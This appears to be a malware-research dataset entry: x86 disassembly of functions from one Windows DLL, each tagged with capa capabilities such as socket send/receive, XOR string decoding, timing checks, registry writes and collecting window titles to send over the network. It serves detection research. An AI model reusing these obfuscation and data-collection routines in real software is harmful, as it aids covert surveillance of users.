joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007610
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, ecx
mov dword [ebp - 8], 0
push 0
mov eax, 0x80000
mov edx, dword [edi + 0x8000c]
sub eax, edx
push eax
lea eax, [edi + 0xc]
add eax, edx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x100076da
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1000765c
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
je 0x10007672
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 4], 0xffffffff
mov eax, dword [edi + 8]
test eax, eax
je 0x10007687
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [edi + 8], 0
mov byte [edi + 0x100038], 0
cmp dword [0x100463ec], 0xffffffff
je 0x100076a0
cmp byte [0x10146420], 0
jne 0x100076d3
push 0x1000b130
mov ecx, 0x100463e8
call fcn.1000bc30
test al, al
je 0x100076d3
movzx eax, word [0x10046004]
mov ecx, 0x100463e8
push eax
push 0x10046027
call fcn.10006c00
test al, al
je 0x100076d3
call fcn.10004bb0
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
add dword [edi + 0x8000c], eax
cmp dword [edi + 0x8000c], 4
jl 0x10007655
push esi
xor ecx, ecx
push ebx
lea esi, [edi + 0xc]
lea eax, [esi + ecx]
mov dword [ebp - 0xc], eax
mov al, byte [eax]
cmp al, 0xc1
jne 0x10007709
movzx ebx, byte [ecx + edi + 0xd]
mov dl, al
jmp 0x10007726
cmp al, 0xc2
jne 0x100077d3
mov dl, al
movzx eax, byte [ecx + edi + 0xd]
shl ax, 8
movzx ebx, ax
movzx eax, byte [ecx + edi + 0xe]
or ebx, eax
cmp ebx, 4
jl 0x100077d3
cmp ebx, 0x80000
jg 0x100077d3
cmp ebx, dword [edi + 0x8000c]
jg 0x100077a1
cmp dl, 0xc1
jne 0x10007756
movzx eax, byte [ecx + edi + 0xe]
lea esi, [edi + 0xf]
push eax
lea eax, [ebx - 3]
jmp 0x10007762
movzx eax, byte [ecx + edi + 0xf]
lea esi, [edi + 0x10]
push eax
lea eax, [ebx - 4]
push eax
add esi, ecx
push esi
call fcn.1000d030
mov al, byte [esi]
add esp, 0xc
mov byte [ebp - 4], al
mov eax, dword [edi + 0x100014]
push ebx
push dword [ebp - 0xc]
push dword [ebp - 4]
call eax
mov ecx, dword [ebp - 8]
add esp, 0xc
sub dword [edi + 0x8000c], ebx
add ecx, ebx
cmp dword [edi + 0x8000c], 0
mov dword [ebp - 8], ecx
jle 0x100077ca
jmp 0x100076f1
test ecx, ecx
jle 0x100077ca
mov eax, dword [edi + 0x8000c]
test eax, eax
jle 0x100077ca
mov edx, 0x80000
sub edx, ecx
cmp eax, edx
jg 0x100077ca
push eax
lea eax, [edi + 0xc]
add eax, ecx
push eax
push esi
call fcn.1001a390
add esp, 0xc
pop ebx
pop esi
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.10007bd0
pop ebx
pop esi
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100077f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.10018c20
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov dword [ebp - 0x80008], eax
lea ebx, [edi + 0x10001c]
push ebx
mov dword [ebp - 0x8000c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 4], 0xffffffff
je 0x100079b3
cmp byte [edi + 0x100038], 0
je 0x100079b3
push esi
push 0x80000
lea eax, [ebp - 0x80004]
push 0
push eax
call fcn.1001ba80
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x80004]
push esi
push dword [ebp - 0x80008]
push eax
call fcn.1001b500
add esp, 0x18
cmp byte [ebp - 0x80004], 0xc1
jne 0x10007886
push dword [ebp - 0x80002]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x80001]
jmp 0x10007896
push dword [ebp - 0x80001]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x80000]
push eax
call fcn.1000d0d0
mov ecx, dword [edi + 0x100010]
add esp, 0xc
test ecx, ecx
jle 0x100078f8
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x100078d6
mov ecx, edi
call fcn.10007bd0
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x80004]
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001b500
add esp, 0xc
add dword [edi + 0x100010], esi
push ebx
jmp 0x10007929
xor ebx, ebx
test esi, esi
jle 0x10007922
nop
push 0
push esi
lea eax, [ebp - 0x80004]
add eax, ebx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007944
sub esi, eax
add ebx, eax
test esi, esi
jg 0x10007900
mov eax, dword [ebp - 0x8000c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1000798a
mov ecx, dword [edi + 0x100010]
lea eax, [ecx + esi]
cmp eax, 0x80000
jg 0x1000798a
lea eax, [ebp - 0x80004]
add eax, ebx
push esi
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001b500
add esp, 0xc
lea eax, [edi + 0x10001c]
add dword [edi + 0x100010], esi
jmp 0x10007928
mov ecx, edi
call fcn.10007bd0
lea eax, [edi + 0x10001c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop ebx
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 8
Function at 0x100079d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10007a22
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007a2f
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x100079f2
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007a67
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call fcn.1001a390
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x10007a7d
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10007a92
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
push ebx
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret

Function at 0x10007ab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
xor eax, eax
test edx, edx
jle 0x10007ade
push esi
mov esi, dword [ebp + 8]
mov cl, byte [0x10147c4d]
add cl, 0xf
xor cl, byte [eax + esi]
sub cl, byte [0x10147c4e]
add cl, 0xf
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10007ac0
pop esi
pop ebp
ret

Function at 0x10007ae0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100369e8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x101469e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10146430]
cmp eax, 0x927c0
jb 0x10007b25
call esi
mov dword [0x10146430], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
mov ecx, 0x1004618c
call fcn.10011c10
test al, al
jne 0x10007b88
mov esi, dword [ebp - 0x1c]
cmp esi, dword [ebp - 0x18]
jne 0x10007b96
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
call fcn.1000e160
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call sub.gdiplus.dll_GdiplusShutdown
test esi, esi
je 0x10007bb1
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
sub eax, esi
push eax
push esi
call fcn.10010f60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007c10
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x8c], 0
mov edx, 0xf
xor ecx, ecx
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [ebp + ecx - 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x10007c34
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 0x28], 0
call esi
test eax, eax
jne 0x10007cfe
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [ebp + ecx - 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10007c70
lea eax, [ebp - 0x14]
mov byte [ebp - 5], 0
push eax
call esi
test eax, eax
jne 0x10007cfe
mov edx, 6
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x10007ca0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x15], 0
push eax
call esi
test eax, eax
jne 0x10007cfe
mov eax, 0x10039f88
lea ecx, [ebp - 0x70]
sub eax, 0x32593faf
push eax
call fcn.10002880
push eax
call esi
test eax, eax
jne 0x10007cfe
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [ebp - 0x80]
sub eax, 0x43f2140e
push eax
call fcn.100026a0
push eax
call esi
test eax, eax
jne 0x10007cfe
xor al, al
jmp 0x10007d00
mov al, 1
test al, al
jne 0x10007e0a
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [ebp + ecx - 0x60], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x10007d10
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x84]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x60]
mov byte [ebp - 0x25], 0
push eax
push connect
call esi
test eax, eax
jne 0x10007d8b
push 4
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
push 4
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x75526f4e
push eax
push dword [ebp - 0x84]
mov word [ebp - 8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x10039d98]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x10007d92
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x26], 0
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x50]
push eax
push connect
call esi
test eax, eax
jne 0x10007e0a
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x10]
mov eax, 0x10039dc4
sub eax, 0x38d41ae2
push eax
call fcn.10002e20
push 4
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
push eax
push dword [ebp - 0x84]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x8c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10018c0f
mov esp, ebp
pop ebp
ret
Function at 0x10007e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
test esi, esi
jle 0x10007e51
push edi
mov edi, dword [ebp + 8]
mov dl, byte [eax + edi]
mov cl, byte [0x10147c4d]
sub dl, 0xf
add dl, byte [0x10147c4e]
add cl, 0xf
xor dl, cl
mov byte [eax + edi], dl
inc eax
cmp eax, esi
jl 0x10007e31
pop edi
pop esi
pop ebp
ret

Function at 0x10007ec0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x10039b04
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x40c], ecx
push eax
or ebx, 0xffffffff
mov dword [ebp - 0x408], 0
call fcn.1001eaa6
add esp, 0xc
test eax, eax
je 0x10007f17
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 4
push esi
push edi
nop dword [eax]
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push 0x400
push 1
push eax
call fcn.1002180c
mov edi, eax
lea esi, [ebp - 0x404]
add esp, 0x10
mov dword [ebp - 0x410], edi
mov edx, edi
test edi, edi
je 0x10007f72
mov edi, dword [ebp - 0x40c]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [edi + ecx*4]
sub edx, 1
jne 0x10007f56
mov edi, dword [ebp - 0x410]
cmp edi, 0x400
je 0x10007f20
push dword [ebp - 0x408]
call fcn.10021113
mov ecx, dword [ebp - 4]
add esp, 4
not ebx
xor ecx, ebp
mov eax, ebx
pop edi
pop esi
pop ebx
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 4

Function at 0x10007fa0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x10039b0c
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call fcn.1001eaed
add esp, 0xc
test eax, eax
je 0x10007fd9
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push esi
mov esi, dword [ebp + 0x10]
push esi
call fcn.1001e4b9
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x10008006
call fcn.10021113
add esp, 4
xor al, al
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push esi
push 1
push ebx
call fcn.1002180c
add esp, 0x10
test eax, eax
je 0x10008056
mov esi, ebx
test eax, eax
je 0x10008041
nop dword [eax]
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10008020
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push 1
push ebx
call fcn.1002180c
add esp, 0x10
test eax, eax
jne 0x10008016
push ebx
call fcn.1001e4b4
push dword [ebp + 0xc]
call fcn.10021113
not dword [edi]
add esp, 8
mov al, 1
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10008080
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x10039b04
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call fcn.1001eaa6
add esp, 0xc
test eax, eax
je 0x100080b9
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push esi
mov esi, dword [ebp + 0x10]
push esi
call fcn.1001e4b9
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x100080e6
call fcn.10021113
add esp, 4
xor al, al
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push esi
push 1
push ebx
call fcn.1002180c
add esp, 0x10
test eax, eax
je 0x10008136
mov esi, ebx
test eax, eax
je 0x10008121
nop dword [eax]
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10008100
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push 1
push ebx
call fcn.1002180c
add esp, 0x10
test eax, eax
jne 0x100080f6
push ebx
call fcn.1001e4b4
push dword [ebp + 0xc]
call fcn.10021113
not dword [edi]
add esp, 8
mov al, 1
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10008160
Capabilities:
Parse pe header
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
push 0
push 0
push 3
push 0
push 1
push connect
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp + 0x10]
push eax
mov dword [ebp - 0x44], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100081b3
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x100081c6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x100081fb
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 0xc
push esi
push dword [ebp - 0x14]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x1000827b
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10008274
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x10008274
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
je 0x10008244
mov edx, 0x8664
cmp cx, dx
jne 0x10008274
push dword [eax + 0x28]
push dword [eax + 0x34]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToSection]
mov ecx, eax
test ecx, ecx
je 0x10008274
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x3c]
push 0
push 0
add eax, dword [ecx + 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1000829c
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 0xc
push 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x20
push dword [ebp - 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
test eax, eax
je 0x10008275
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + 0x28]
add eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10009850
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x294]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10018c0f
mov esp, ebp
pop ebp
ret
Function at 0x1000a030
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10036a7b
mov eax, dword fs:[0]
push eax
sub esp, 0xc28
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc30], 0
mov dword [ebp - 0xc2c], 0
mov dword [ebp - 0xc28], 0
lea eax, [ebp - 0xc30]
mov dword [ebp - 4], 0
push eax
push dword [ebp + 8]
call fcn.100082f0
add esp, 8
mov word [ebp - 0xc24], 0xac2
mov byte [ebp - 0xc22], 0xc
call fcn.1001e4c4
and eax, 0x800000ff
jns 0x1000a0b8
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0xc30]
xor edi, edi
mov byte [ebp - 0xc21], al
mov eax, dword [ebp - 0xc2c]
sub eax, ebx
mov byte [ebp - 0xc20], 0x21
sar eax, 2
mov dword [ebp - 0xc34], eax
mov dword [ebp - 0xc1c], eax
test eax, eax
je 0x1000a198
lea esi, [ebp - 0x718]
cmp edi, 0x14
jge 0x1000a198
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebx + edi*4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [ebx + edi*4]
call dword [sym.imp.USER32.dll_GetClassNameA]
movups xmm0, xmmword [ebp - 0x114]
inc edi
movups xmmword [esi - 0x500], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [esi - 0x4f0], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [esi - 0x4e0], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [esi - 0x4d0], xmm0
movups xmm0, xmmword [ebp - 0x218]
movups xmmword [esi], xmm0
movups xmm0, xmmword [ebp - 0x208]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [ebp - 0x1f8]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [ebp - 0x1e8]
movups xmmword [esi + 0x30], xmm0
add esi, 0x40
cmp edi, dword [ebp - 0xc34]
jb 0x1000a0f2
push 0xa0c
lea eax, [ebp - 0xc24]
mov ecx, 0x100463e8
push eax
call fcn.100077f0
test ebx, ebx
je 0x1000a20a
mov eax, dword [ebp - 0xc28]
sub eax, ebx
sar eax, 2
cmp eax, 0x3fffffff
jbe 0x1000a1c9
call fcn.1001e1f1
shl eax, 2
cmp eax, 0x1000
jb 0x1000a201
test bl, 0x1f
je 0x1000a1dd
call fcn.1001e1f1
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x1000a1e9
call fcn.1001e1f1
sub ebx, eax
cmp ebx, 4
jae 0x1000a1f5
call fcn.1001e1f1
cmp ebx, 0x23
jbe 0x1000a1ff
call fcn.1001e1f1
mov ebx, eax
push ebx
call fcn.10018460
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 4